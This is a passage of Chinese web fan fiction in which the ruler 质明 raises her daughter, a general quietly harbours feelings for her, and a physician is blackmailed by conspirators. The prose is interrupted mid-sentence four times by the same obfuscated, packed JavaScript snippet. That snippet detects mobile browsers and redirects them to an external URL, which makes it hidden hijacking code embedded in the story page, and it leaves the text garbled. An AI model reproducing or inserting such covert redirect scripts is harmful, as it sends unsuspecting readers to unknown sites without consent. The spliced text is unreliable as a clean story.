“——不过。” 质明显然深谙恐吓的艺术,百转的心思复杂得很。 她说了这两个字,便从上首的位置上起身,佩剑出鞘,道:“无论尔等给出千般理由,不可再有人觊觎桑桂之能。我之本体,可摘花做香,可折枝为具,可入药作食,凡木如何,我便如何,但若再有人取用其中丰饶之力……” 话音落下,剑影便至,众人便见质明面前的几案断为两截。 “必断如此案!” 言罢,长桑君收剑入鞘,拂袖而去。 离开了葳蕤行道的办公地点,质明面上的愠色便冰消雪融般散去,她揉了揉眉心,抬眼,便见策士云缨跟了上来,神色激动。 “怎么了?”她温和地问。 质明此时的温和与刚才例会上的有着本质的区别,前者是她本性如此,后者是工作状态需要。根据情况的不同,长桑君可以在喜怒无常的独裁者和专断横行的暴君之间无缝切换,至于所谓“明君”,明君不适合出现在如今的圆峤。 云缨看了看四下无人,这才压着声音:“大人、大人刚才那一下,太有气势了!” “哦?”质明挑了挑眉,“不害怕么?” 云缨如今比刚到质明身边的时候活泼一些,笑道:“我又不会去做那种事,为什么要害怕。” 质明闻言便笑:“要是大家都明白这个道理就好了。” 翻看例会记录的策士顿了一下,接着就说:“总会有那么一天的。” 百叶人是清明当天走的,处理完后也是当天埋的,他没有亲属,只有个弟子送送他。 质明软硬兼施的手段让圆峤很是安定了几年。虽然和她最开始设想的有些区别,人们不是因为邙山洞天连带的所谓“真相”而备受刺激,事实上,绝大多人没有把质明的警告当成一回事,仍然认为自己在领受赐福之后拥有无尽的寿命。 他们虽然不信,但没有意见,只是很朴素地因为质明没有剥削他们。 长桑君在这方面出乎意料地不强求什么,只是按部就班推行着圆峤的基础建设和移风易俗。 也就是大家都很熟悉的三件套:义务教育,计划生育和环境保护。本来还有一样至关重要的土地法案,但是贵胄和洞天之主们对洞天的控制,在质明为洞天全面供能之后就名存实亡,如今所有权的移交本就水到渠成,便不多做赘述。 总之,在承阳平平安安长到六岁的时候,她就到了该去上黉学的年纪。 一般来说长生种在这方面不会特别着急,比如质明这个完全蜕变的长生种就觉得孩子还小多玩几年,但是奈何仙舟人没谁和质明一样一睡五个琥珀纪,他们现在仍然是以短生种的思维来看待许多事情。 所以承阳六岁生日一过,下半年就该去上学了。 黑头发金眼睛的姑娘团团稚气,坐在她的小板凳上晃着腿,等着质明给她扎头发。她的小书包放在一边,里面放着她昨晚自己选的文具和发下来的课本,质明还带着她一起包了书皮。 承阳的发质偏软,如今年纪也小,质明便不给她梳发髻,只简单地扎起来,缠上发带,便拍拍她的肩让她站起来。小姑娘一站起来便转身,把自己的脸埋进了质明长长的袖子里,发出了幼崽一样哼哼唧唧的声音。 “怎么了,不想去上学么?”质明笑着戳戳她的后脑勺。 承阳摇摇头,只等着质明蹲下来揽着她时,一个劲往质明身上蹭,小声地叫着:“妈妈。” “再撒娇的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099060|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就当你不想去咯,回头就去和流花说,她承阳妹妹今天不去了。”质明温柔地威胁着,旁边站着等着送承阳去上学的云缨。年轻的策士憋着笑,又不敢真的笑出声,忍得很辛苦。 质明也忍俊不禁:“噗……真不去的话,我就让云缨姐姐也回去吧?” 小孩儿这下子不哼哼唧唧了,显然是很吃这一套。她当然知道如果自己真的不想去也没关系,毕竟妈妈一直觉得她这个年纪上学太早了,但是如果是答应过的事情临时反悔,性质就不一样了。 虽然也不会真的得到什么惩罚,但是妈妈会失望…… 承阳终于从质明的怀抱里退出来,主动拉上了旁边云缨的手:“云缨姐姐,我们走。” 临出门了,黑头发的姑娘还是回头,很大声地和质明告别:“妈妈再见!” 质明笑着和女儿挥手:“承阳再见~” 小太阳一样的孩子离开了,质明站在门口久久地望着,直到看不见云缨和承阳的身影,这才折返回来,掏出玉兆开始新一天的和工作搏斗。随着建制和分工的成熟,质明已经很少像以前一样加班到晚上,她也越来越能够理直气壮地把多余的工作打回去。 “之前逮住的尾巴,最近有什么动向吗?”她问岚。 岚简明扼要地回道:“并无异动,仍在蛰伏,看来所图不小。” “多半也是没有空间和机会给他们发挥,是好事也是坏事。”质明若有所思道。 她没有接着问,岚也没有接着说,他只是克制地将自己的视线停留在质明绣着深色萱草纹的袖摆,状似沉思。岚数年如一日的寡言,局势平稳下来之后偶尔也会走神,质明不至于管这么宽,只是有些奇怪,但既然不影响什么,便也随他去了。 这一日该练兵的练兵该和人扯皮的扯皮,等到日头偏西,云缨去黉学将承阳接回来,这位策士便下班了。 背着书包的小姑娘衣着整齐,脸上也干净,眸子亮晶晶的,也没有疲态,看着像是在黉学里过得不错。质明也没问她学了什么,启蒙的课程多半就那些,她是自己爱讲才好,问得太详细反而不美。 小孩子的语句多半七零八落的,承阳的逻辑比别人强一些,但也有限,质明听着有趣,撑着脸笑眯眯地看她。末了,便听见这孩子说起朋友:“流花姐姐说,她的阿嬷当过兵,她拜师了……我也想拜师!” 质明“唔”了一声,她不谙刀兵,和人动手基本靠力大砖飞,这方面她是做不了承阳的老师的。 “你想让谁当老师呀?” 岚一进院落的门便听见这一句,某种微妙的预感浮现出来,果然,下一瞬,他看着长大的孩子就看了过来,然后就斩钉截铁、毫不犹豫叫了他一声,跟早上赖在母亲身侧撒娇的好像不是一个人。 “哎呀,”他听见质明顺着女儿的话说,视线也投了过来,“我也武艺不佳,要不也跟着你学学,嗯?” 她的尾音微微扬起,含着笑,一听便是玩笑,岚却觉得耳尖一烫。 “嗯。” 岚沉稳地应了一声,脚下步子却倏忽变快,逃也似的穿过庭院,回了自己的居所。 “你师父好奇怪啊。”质明撑着脸,有些纳闷。 承阳眨巴着眼睛,重复道:“好奇怪!” 12. 承诺 心旌摇曳只是片刻的事,岚很快就像这几年里的无数次一样,心绪重新平复下来。 他既然没有拒绝,那么承阳便是他新鲜出炉的小徒弟了。这孩子此时正哒哒哒地从母亲身边跑过来,扒在他家半开的门框上,很有礼貌地没有贸然进来。 岚就着这姑娘小小的身子往外一望,质明仍坐在共用庭院的石桌旁,慵懒含笑,撑着脸看他们。 这位曜青来的孤魂野鬼很熟练地移开视线,接着把承阳提溜进了门,搁在自己跟前,张了张嘴,却忘了要说什么。他就像熟悉自己的长弓一样熟悉这对母女,盯着承阳充满期盼的天真眼神,死板的叮嘱也说不出口。 是他把承阳捡来的,那时候她饿得直哭,哭声也小得像小猫叫,又发了烧,一看就养不活。彼时岚也只是没有实体的离体生魂,能把手指头塞给她解馋已经是谢天谢地,更遑论其他。 质明来了之后,岚才看着小小的婴儿退了烧,泛黄的胎发逐渐漆黑,从襁褓里咿咿呀呀的小东西长到会叫妈妈、会走路。岚自始至终都是短生种,他没有服下不死药,能够渡过漫长时光只是因为轮替守眠,他的观念仍然是短生种的观念。 但即使是从短生种的角度来看,这一切也发生得太快了。 无论是承阳的成长,还是圆峤的变化,亦或者是他自己都没能理解的某种无措。 岚思绪翻飞之时,落在承阳眼里就是他又发起了呆。黑头发金眼睛的小姑娘还挺熟悉他这种状态的,只是她人小,不懂大人们欲说还休的恩恩怨怨,只是单纯知道这种时候该做什么。 如果没有重要的事,等岚自己回神就行了,有事的话……承阳轻轻拽了拽岚长长的高马尾。 “师父,你又发呆。”扯完头发,承阳又伸手,在岚那双和她几乎如出一辙的金眸前晃了晃。 “……无事。”要怎么糊弄过去岚也很熟练,他瞬间就想好了说辞,将之后才会正式通知的注意事项嘱咐似地讲出来:“做某的弟子,你便要遵循军中的严苛训练。虽说你如今年岁尚小,不必全然照搬,但往后只会更沉重,不会轻松,你可想好?” 扎着浅色发带的姑娘皱起了圆圆的小脸,看着有些烦恼:“流花姐姐也是这么说的,每天都有训练,很累,以后长成了,天不亮就要起来。唔……没得商量吗?” 岚摇头:“没得商量。但你有随时后悔的权力。” 承阳郑重其事地点头,缀在发带上的小铃铛随着她的动作清脆地响起来,打破了略显肃穆的氛围。 刚刚启蒙的孩子在黉学是没有功课的,只把白日里学过的东西翻出来念两遍就算完事,所以承阳放学之后有大把的空余时间,今日如此,往后也是如此。岚便趁热打铁,先带着她做了些基础的锻炼。 他不要承阳的束脩,质明也不强求,只是在师徒两个院子里扎着马步的时候,利索地削了一柄小小的木剑出来。她有过孩子,最清楚这个年纪的小孩儿喜欢什么,不刻意引导的情况下并不会出现很大的性别差分,换言之,承阳肯定会喜欢这把小木剑。 果然,木剑一放到石桌上,小孩儿眼睛都亮了,本就不太标准的姿势更是扭了起来。 为了不伤她筋骨和根本,岚定下的训练在最开始的时候本就不严苛,看着时间差不多,便放了徒弟一马。放在木剑旁边的还有茶水点心,不是承阳的分量,是为两个大人准备的。 今日的工作已经结束,但突发事件之所以叫做突发事件,正是因为它不会因为工作人员下班而不发生。在玉兆上紧急处理了些事务,与岚在政务和军务上互通了有无,今日的忙碌才算堪堪结束。 日影西沉,扶桑化桂,承阳的小脑袋已经一点一点,她年纪小,觉多,今天本来就消耗了额外的体力,这下更是困得意识都模糊。只记得自己被妈妈轻轻抱回了屋子,清新微苦的月桂香气萦绕了她一整晚的梦境。 醒来又是新的一天,虽然对今天又要上学这件事产生了些许不解,但她还是背着书包去了黉学。 目送她离开的质明,整理衣着,也去到了葳蕤行道的行政中枢。她初到圆峤时,衣着是符合自身昔日文明进程的简洁轻便,但经营圆峤日久,入乡随俗,如今也已习惯庄重且强调地位的深衣大袖。虽说不方便行动,但丰饶的令使本也不是以灵巧见长。 今日没有例会,同策士云缨打了招呼,质明便转身去了建筑群的深处。 金人之乱后,圆峤收缴了大量金人并销毁了绝大多数,盖因这不是仙舟第一次被金人所害,就如同银河也不是第一次被帝皇战争荼毒一样。虽然以这两者作比,但深究起来,或许仙舟的第一次金人之乱与第二次帝皇战争的余波息息相关,但这一次,情况好像发生了一些变化。 质明的智械朋友,螺丝咕姆同她讲过的最详细的故事,就是关于两次帝皇战争。仙舟人就算通了网也不爱去看寰宇通史,既不了解丰饶民,也不了解丰饶星神,更遑论寰宇战争。就目前而言,质明可能是整个圆峤最清楚反有机方程这个概念的人。 她的理解并不透彻,因为就整个银河的时间线而言,她还是过于年轻。 但正因为这种相对了解,所以质明从一开始就觉得奇怪。如果真的是帝皇战争的余波,反有机方程影响了仙舟金人,那应该也和上一次的流程相差无几,战乱然后平乱,但在最终决战时,质明注意到了一个细节——圆峤的金人首领乃是主动邀战,最终不敌而后兵败。 这与它们在之前的行动中展现的有条理的、冷静的破坏性是相辅相成的。 这很有意思,当然,质明没有像销毁其他金人一样销毁金人首领并不是因为这种若有似无的“趣味”,只是因为圆峤丢失的许多重要信息和数据,可能在这位首领这里能够找到修复的办法。 唯一需要烦恼的,可能就是要怎么撬开这个被反有机方程影响的金人的嘴。 实在不行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099061|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等哪天能够再次和外界连通了,把这玩意儿送给螺丝咕姆当礼物吧。质明直觉仙舟的金人叛乱在形式和表达上和帝皇占城有一些微妙地区别,但她本人实在是“有机”过头,没法抓住这一星半点的灵感,这次也只是对着金人的中控系统沉思片刻,重新将其封印。 花开两朵,各表一枝。 这厢质明欲解析金人无果,那边承阳正在同流花说起自己拜师的事情。 小孩子总是爱炫耀的,即使承阳的家教良好,她也忍不住和关系亲近的朋友说起这件让自己高兴的事情。流花比她大一些,今年是黉学招生的第一年,而慈幼坊长大的孩子多半早熟,她就比承阳成熟许多,此时一边为她高兴,一边担心: “阿嬷说我们还在长身体,不能训练得太重,你师父没有为难你吧?” 承阳摇摇头,此时正是课间,她把从家里带来的小零食分享给朋友,咽下嘴里的才说:“没有,昨天我只扎了一会儿马步,跟师父跑了几圈。” “不过,”承阳想起了什么,疑惑地问,“不是说我们的身体,不管受了什么样的伤,只要能量足够,都会恢复原样吗?”她显然没法自己说出这么完整有条理的句子,只是学着课本里的描述罢了。 流花也后知后觉地反应过来:“对啊,我们是可以进行严苛训练的,但为什么……” 承阳抹了一把嘴,也怀着疑惑,开始把课本往后翻,从正文的注释里找到了自己想要的,就着辅助认字的音节,慢吞吞地念:“因为‘长生种的孩子也是孩子,战争不该蔓延到他们身上’?” 流花听着听着,突然就抹了一把脸,眼泪打湿了袖子上的一小片布料。她记事很早,她记得父母是如何在金人之乱里把她好好保护起来,也记得祖母如何省下最后的口粮留给她,更记得慈幼坊刚刚建立的时候,那满地面黄肌瘦,伤口久久不能愈合的同龄人。 那时候只有活人和死人,耆宿与褐夫,金人和凡人,那个世界里没有孩子,现在才有。 她的阿嬷身上没有伤口,天人族体质如此,但是阿嬷和她讲,有的伤口即使愈合了也会幻痛。流花的知识水平还不足以让她理解这是一个关乎命运的比喻,她只是深深地记住了她拜师的那个晚上,养育着慈幼坊许多孩子的阿嬷脸上的表情。 窗外的阳光透过树枝和窗帘,撒落在两个女孩儿毛茸茸的脸上,粉扑扑的面色昭示着她们的健康。 流花突然开口,道:“要不要比一比谁先学完黉学的课程?我师父从战场上退下来,我要去参军,然后也像师父一样,才能保护慈幼坊的大家。” 承阳不是很理解她的选择,这个孩子的世界还很简单,但天性的聪慧让她很认真地思考了流花的话,然后她也迅速学着朋友,给自己找到了小目标:“比就比!我也去参军,那些奇怪的大人总是和妈妈吵架,我要保护妈妈!” 于是两个小女孩儿举起稚嫩的小手,拉钩钩许下了承诺。 13. 童谣 小孩子的世界和大人是不一样的,她们看到的事情和真实的情况差距也犹如天堑。 就好比在承阳眼里,她的母亲质明性格体贴,言行举止都温和有风度,气质优雅,是这个世界上最美丽的、也是最爱她的人。这里的绝大多数形容都是没错的,但目前只针对承阳这个小不点儿。 在圆峤目前绝大多数高层看来,质明就好像你我语文课本里的秦昭襄王,太史公《今上本纪》里的汉武帝,亦或者大猜忌乱发的苏丹。就,主打一个不可名状,难以揣摩,心机深沉,善于弄权,适合当晋升路上的关底boss。 长桑君的温和是伪装,她的美丽是毒/药。 而与之相对的,牢牢把持着军权的岚,就好比昭王的白起,武帝的霍光,苏丹的近卫。虽然这三个比喻都有不同程度的地狱笑话嫌疑,但还是能完美体现圆峤如今这一主一副一政一军的大体格局。 但小孩儿管不了那么多,她脑子里没那么多复杂的事情,只知道有人爱跟母亲吵架,也有人喜欢给母亲添堵。事实上,质明几乎不把需要当面对峙和现场答复的工作带回家里,承阳能认识到的只有她处理突发事件时的神色不虞,以及耐着性子给下属发语音方阵时的隐隐怒火。 再温良的人在需要突然加班时都不会有好脸色的。 这个道理可能要到承阳自己开始上工的时候她才会明白,现在的她,只是一个背着小书包、牵着云缨的手,蹦蹦跳跳放学回家的六岁小姑娘。 她心里藏不住事,便把和朋友的约定说给云缨听。 如今的云缨早已不是六年前在贵胄的宴会上无力挣扎的侍女,她早就从后来认的养母那里学了防身的手段,至少现在如果有血溅到她脸上,她也只会若无其事地抹掉。尖叫和崩溃已经离云缨很远,初任策士时的手忙脚乱也早是过眼云烟。 云缨听了承阳的话,伸手捏了捏她的小脸,道:“有梦想是好事呀。” 作为质明的亲信,她所了解到的长桑君自然也和旁人眼中的不同。她知道质明一直在寻找合格的继任者加以培养,也了解她视人世权柄如看工牌的烦恼,更明白这位外来的令使究竟是如何构想这一艘仙舟的未来。 理想的继任者在成年人里不好找,但孩子里聪慧过人的可不少。而如今粗浅看来,最合适的两位,一个是大人的养女,一个是慈幼坊里大人最熟悉的孩子。缘分天定,大抵如此。 药师赐福的建木不曾庇佑罗浮仙舟,带来长生的同时也带来了数不清的因长生而起的苦厄;而桑桂不会让圆峤拥有首舰之名,她只带来了死亡的恩赐与节制的可能,以及某种抽象的、在如今这个年代未必人人都能认识到的珍贵之物。 云缨希望、热切地希望,她能在不久的未来重新得见长桑君洒脱的姿态——在当年这位大人一剑枭首想要剥下她脸皮的耆宿时,她透过覆盖双眼的血污看见的、祂最初降临时的姿态。 把小孩儿送到葳蕤行道时,日头已经逐渐西斜,云缨同质明说了几句话,谈了谈第二天的日程,便要告辞离开。她转身时岚正好回来,前者拱手一礼,后者颔首应下,也就当是问候过了。 云缨与这位夺舍之乱成名的岚将军不能说生疏,也远远算不上熟悉,同一阵营的点头之交罢了。 大抵是蒙受赐福的仙舟人对死亡的统一避讳,岚这般身躯远在曜青,生魂却离体流落圆峤的人,在他们看来多半是有些讲究的。他又镇压金人之乱,名声之盛世所罕见,也就长桑君不知怎的不忌惮他了。他手下的兵丁一半都是曾经揭竿而起的褐夫,如此构成,更是让一部分人谈之色变。 很完美的直臣、孤臣形象,对吧。 但根据云缨多年观察,她认为岚将军和长桑君的关系绝对不止“不忌惮”那么简单,但要说有什么更进一步的证据,除了承阳几乎算是他们共同抚养之外,也看不出来。 如此想着,云缨多瞥了一眼那长发高束的挺拔男子,便自顾自走了。 丹鼎司。 一位面容普通的医士正在收拾着桌上零散的药材。他今日的轮班比较轻松,不用值守也不用夜班,到了下午就可以离去。他换下丹鼎司的制服,穿好自己的衣裳,没有直接回到家中,而是先去了一趟市场。 这一处洞天名叫“秉烛鬼市”,一开始只是一处清冷的夜市,在金人之乱中屋舍和居民都损毁颇多,后来中枢出资重新修建之后,人气才逐渐恢复。彼时圆峤元气大伤,并没有多少人在此停留,还是最近一两年大家的生活逐渐宽裕,夜市才在白日里也颇为热闹。 年轻的医士默不作声地汇入人流,循着道路进了一处小巷。巷子里有家装潢特殊的店面,门口扎着纸人,摆着花圈,冥钱一摞一摞,坟飘随风飞舞,显出一股子阴气来。 “青阳,你今年又来了啊。”老板是这位医士的熟人,见他来了,打了招呼也不多说什么,熟练地往口袋里塞冥钱坟飘,等医士付完钱,便把口袋递给他。 “你师父性子独得很,没想到还有你这么个好徒弟,我说你啊,去看他就看,别多想些有的没的。他当年折腾得整个丹鼎司都吃了挂落,你可别又一头栽进去。”老板语重心长地劝了两句。 名为青阳的医士没有说话,只沉默地点了点头。 他离开秉烛鬼市,拎着给死者的物件,转道去了邙山。他师父百叶的墓碑在偏僻的角落,栈道没有延伸到那里,只能涉水过去,他的鞋面和衣角都被打湿了。 这般难走的路,却已经有人在等他了。 青阳没管来人,他挂上了坟飘,点燃了冥钱,火光在他深色的眼眸里明明灭灭,他才低低地问: “你们来做什么,害了我师父还不够吗?” 蒙面的人一开口,便是经典的诱惑之语:“青阳医士,百叶司鼎一死,你在丹鼎司的日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099062|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很不好过吧。良禽择木而栖,我家主人看得出,你的天赋不比百叶司鼎差,如今竟然只是普通的医士,你难道就甘心吗?” 青阳抿唇不语,身侧的手却已经紧握成拳。 诱惑完了就是威胁,青阳沉默地听这人继续说:“百叶司鼎还留下了不少丹方在你那里吧,你说,我要是把这个消息递给长桑君,那女人会如何处置你?” 青阳长叹一口气:“……你待如何?” “不必让你现在就做什么,你乖乖留在丹鼎司,等到了用得着你的时候,你自然会知道的。” “……”青阳沉着一张脸,没有说话,但也没有拒绝。 烧完了冥钱,等到香烛燃尽,青阳才游魂一般离开邙山洞天。 他走在回家的路上。 华清天的道路重建得很是完善,作为居住区,这里交通便利,设施也丰富,这里的一处居所是百叶留给他最有价值的东西之一。百叶不是个正常的师父,也不是个多有道德的人,但他对弟子不坏,否则青阳也不会去祭拜他。 但属于百叶的孽债找上门来了。 太阳早已向下沉去,月桂的清新香气是圆峤夜晚的标配,如同柔和清亮的月光。青阳沐浴在这样明亮的月光下,却仿佛看不见自己的前路,只是一味地走着。 “桂娘娘,桂娘娘,一树花开万里香。 “清晨彩霞做衣裳,正午头上好阴凉。 “晚上送得夕阳去,再看圆月亮堂堂。” 吃过了晚饭的孩子们蹦蹦跳跳地从青阳身边跑过,面颊是几年前基本不能从平民孩子脸上看到的红润,他们嘴里唱着不知何时流传开来的童谣。 青阳恍惚间想起,他已听过许多次了,只是没有一次像今天这样清晰。 “桂娘娘”是长桑君的另一个称呼,有别于代表白日的扶桑,煌煌威光几乎使人不敢逼视,在夜晚开放的月桂就沉默而柔和,温存得近乎呢喃,庇护的意味更加强烈。很多家庭因此折下月桂的枝条编成护身符,希望孩子在桂娘娘的庇护下平安成长。 新鲜的桂叶香气略显清苦,这群孩子身上就挂着现成的。 青阳认得其中一个孩子的脸,今年年节的时候就是他吃得太多积了食,被送来救治。那对年轻的父母千恩万谢,这孩子本人却因为青阳用的药太苦,恨恨地盯着他。 如今小男孩同青阳打了个照面,仍然和朋友们笑着闹着,像是没认出他来。 不知怎的,青阳的一口心气儿突然就散了。 他加快了脚步回到家中,翻出了百叶留下的丹方,挑出了一些收起来,剩下的又藏在另一处,做完这些,他才又叹了一口气,怔怔地盯着从半开的窗户里轻盈落下的月光。 “哈……”他自嘲地笑着,笑恩师的短视自大,笑贵胄的无谓挣扎,最后也笑自己,笑自己分明不是做英雄的料子,怎么就选了这么一条路。 14. 年节 小孩子去上学之后,时间一下子就过得很快。 仿佛昨日还是初秋时节天高气爽,今日就已经是初雪落下,要为年节做准备了。在仙舟的历史中,无论是他们还在古国,或者已经遨游星海,乃至于转化为长生种,年节都是一个星历年里最重要的节日。 圆峤的中枢在年节前五日封笔停止工作,一直到上元节过后三天重启。漫长的假日带来的不止漫长的休憩,还有假日到来之前堆积如山的工作。不管是准备庆典还是安排布防,都是相当麻烦的事情,因此也有那么一些人是半休息状态,虽说放了假但还是能联系上。 质明和岚就是这些倒霉蛋的其中之二。 不过这种事情也不是第一回发生,两人对此都有足够的心理准备——只是今年情况有些不太一样。 承阳去上黉学的第一个学期将将结束,这孩子说不上不喜欢上学,但能放假还是顶顶开心的。小小的姑娘回了家里,不必每天去黉学,看着反而有些不习惯,便天天黏在妈妈身边,仿佛她还是那个话都说不利索,只会咿咿呀呀的年画娃娃。 孩子在家里的时间多了,质明也不忍心冷落她。虽说承阳朋友挺多,能约着出来玩的也不少,但碍于现在的情况,没谁会放心她独自出门去,也只能拘在家里。 种种要素叠加下来,年节的当天晚上,小姑娘缠着质明陪她去逛夜市,也就自然没办法拒绝。 但众所周知,年节当天夜里也是这一船长生种最能折腾的时候。先不说真心实意要出来捣乱的那些人,只说从战争创伤中恢复过来的普通百姓吧,哪一年过年的时候丹鼎司没接待几个吃多了喝多了的家伙,更别说那些不看路摔了的,凑热闹被踩了的,和朋友打闹变斗殴的…… 一般来说这些都是丹鼎司和基层管理部门的职权范围,但要是涉事人员正好在中枢工作,又因为事故无法按时到岗,那接下来的工作安排和调动,就是质明和岚的事情了。 圆峤恢复活力,百姓情绪不再低迷,夜里敢出门、会闹腾,这都是好事,但太有活力也会带来烦恼。 今天的质明暂时不想管这种烦恼。于是她想了想,若有所思的目光落到了岚身上。 曜青来的岚将军仍然是那副没什么表情不苟言笑的脸,注意到质明的目光,他默默地“?”了一下。他已经逐渐能够在她的目光落在自己身上时克制住下意识的回避,如今也只是目光略带询问地看着她。 质明二话不说把自己的玉兆塞到了岚手里,诚恳地道:“今晚有要紧事的话,就劳烦你帮帮忙了,我要带承阳去夜市。” 岚稳稳地接住那只玉兆,沉稳地应下:“嗯,某会处理。” 末了,他顿了顿,才又嘱咐一句:“你们注意安全。” “有什么喜欢的吗,回来给你带一些?”质明自然而然地问着补偿。 “……不必。”岚还是忍不住稍微挪开了视线。 “岚,你最近特别奇怪。”质明撑着脸,抚弄着遮住双目的金纱,如有实质的视线在岚那张八风不动的脸上扫过,语气有些疑惑。 岚没想着找借口,也不知道该怎么回答,只能闷着不说话,最后憋出一句:“……” 两人间的气氛逐渐变得有些古怪,岚一时拿不准质明是不是轻易就能看穿他的伪装,只好拿着她的玉兆,抿唇不语。直到换好了出门衣服的承阳从屋子里蹦出来,发带上缀着的铃铛清脆地响,这才打破了若有似无的凝固氛围。 质明为承阳整理着碎发,温声细语地嘱咐着她等会儿牵着妈妈的手不要乱跑,末了,承阳去拿自己装着零花钱的小包,质明才又转头,对着仍然杵在原地的岚,歪着脑袋轻笑一声。 “难得看你这么局促,也是有趣。”她轻飘飘地就揭过了这一茬,显出一股从容与熟稔。 不多时,母女两人就收拾好了行装,同岚告别之后,就出门去了,独留他一人空对一轮银月。 年节的夜里,四处都喧闹欢腾,只这里是安静的。岚就坐在庭院的石桌旁边,手边放着两枚随时会有工作信息弹出来的玉兆,仰头去看天上的月亮。圆月映着岚一对金瞳,仿佛质明的眼目与他对视。 圆峤的月亮是一颗恒星,会自主发光的星辰自然不会有阴晴圆缺,她只是孤高而温柔地高高悬挂在天上,不必去明白地上哪个凡夫俗子正对着她想起她的主人。 过了这么些年,哪怕真的是根木头也能想明白究竟是怎么回事,况且岚不是木头,他领军多年,如今也接触政务,聪明得很。 他只是觉得,自己这颗时隔多年,仍然盈满了暗藏的愤怒与恨火的心,不该在此时袒露出别的情绪。 圆峤的棋盘还在行军走马,暗处的窥伺仍然蠢蠢欲动,这艘命途多舛的小船刚刚得以喘息,本就不是该放纵的时候。他的情谊来得实在不合时宜,在这个无论哪一方都在默默积蓄实力的时候,他不能主动暴露这一可供利用的点。 何况、何况…… 离体生魂,不知哪一日就要消散的孤魂野鬼,要如何同那亘古长青的桑桂诉说情谊呢。 岚扯了扯嘴角,只是叹气。 秉烛鬼市。 华灯如昼,游人如织,全面重建恢复后的洞天昼夜皆是热热闹闹,早就脱离了最初的“鬼市”定义,只是仙舟人向来念旧,保留了这个名字,也权当是保留了曾经历过的苦难时代的一角。 那时候承阳还小,只会在襁褓里蹬着腿儿,质明今日牵着她来逛夜市,也就当闲话似的把这些说给她听。质明记性挺好,如今这处洞天的街头巷尾很是嘈杂,不是小吃摊就是杂耍,她竟也能指着某个角落,说出从前这里是什么模样。 她并不是那等爱说教的家长,讲了几句,见小孩儿金灿灿的眼睛盯着路边摊上热腾腾的糖糕,便也带她过去,买上一只分着吃。承阳一遍擦着嘴一边问她怎么不买两只,便见母亲狡黠一笑: “这街头巷尾好吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16099063|179771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的可不少,你这会儿就占了肚子,一会儿可就只能看着我独享了哦。” 承阳恍然大悟般用力地点头,看着像是明白了什么不得了的大道理,逗得质明又是噗嗤一笑。 无事一身轻的长桑君牵着她的幼子,从熙熙攘攘的街上走过。小孩儿的注意力总是不集中的,一会儿看着路边的机巧小兽,一会儿又被表演的傀儡戏吸引了目光,一双大眼睛好悬不够用。 只见她一会儿要买这个一会儿要玩那个,精力十足,活力四射,嘴又甜,实在讨人喜欢得紧。 承阳是没怎么独自出门的。丁点大的孩子谁都不放心,况且也没谁能保证那些急了眼的家伙不会对孩子下手,长桑君和岚不好对付,一个小娃娃总是好对付的,不管是拐了去做人质,还是就地杀了,都能对质明造成巨大的伤害,何乐而不为呢。 因而即使是年节时分,质明也不错眼地盯着女儿。 逛了一半,深蓝的天幕上便开始绽放烟花,质明领着承阳选了个好位置,摆开一路上买的吃食玩具,小孩儿便数宝似的一个个算过去。质明拨弄着自己的长发,给承阳紧了紧有些松垮的发带,很是随意地开口: “我还没想到要给你师父带什么回去,你有想法吗?” 承阳很认真地沉思,质明于是笑着引导:“他是曜青出身,曜青那边有什么特产么?” “辣椒,香菜,火锅……”圆圆脸的女孩儿掰着手指头数,质明看得忍俊不禁。 “那就给他带这些回去?”质明的语气状似郑重。 “唔……”承阳直觉哪里不对,可又一时间想不出来,抱着啃了一半的点心,困惑极了。 听见质明很小声的笑,承阳才反应过来自己被逗了,两只眼睛顿时睁得圆溜溜的,下一秒,她就没骨头似的把脸埋进了质明的袖子里撒娇:“妈妈——” 质明轻笑着,一边拍着承阳的背,一边收拢了另一只手的五指,无形的气根丝线般浮现,只在刹那间就捆缚了暗处的人影,没让他们发出半点声音。 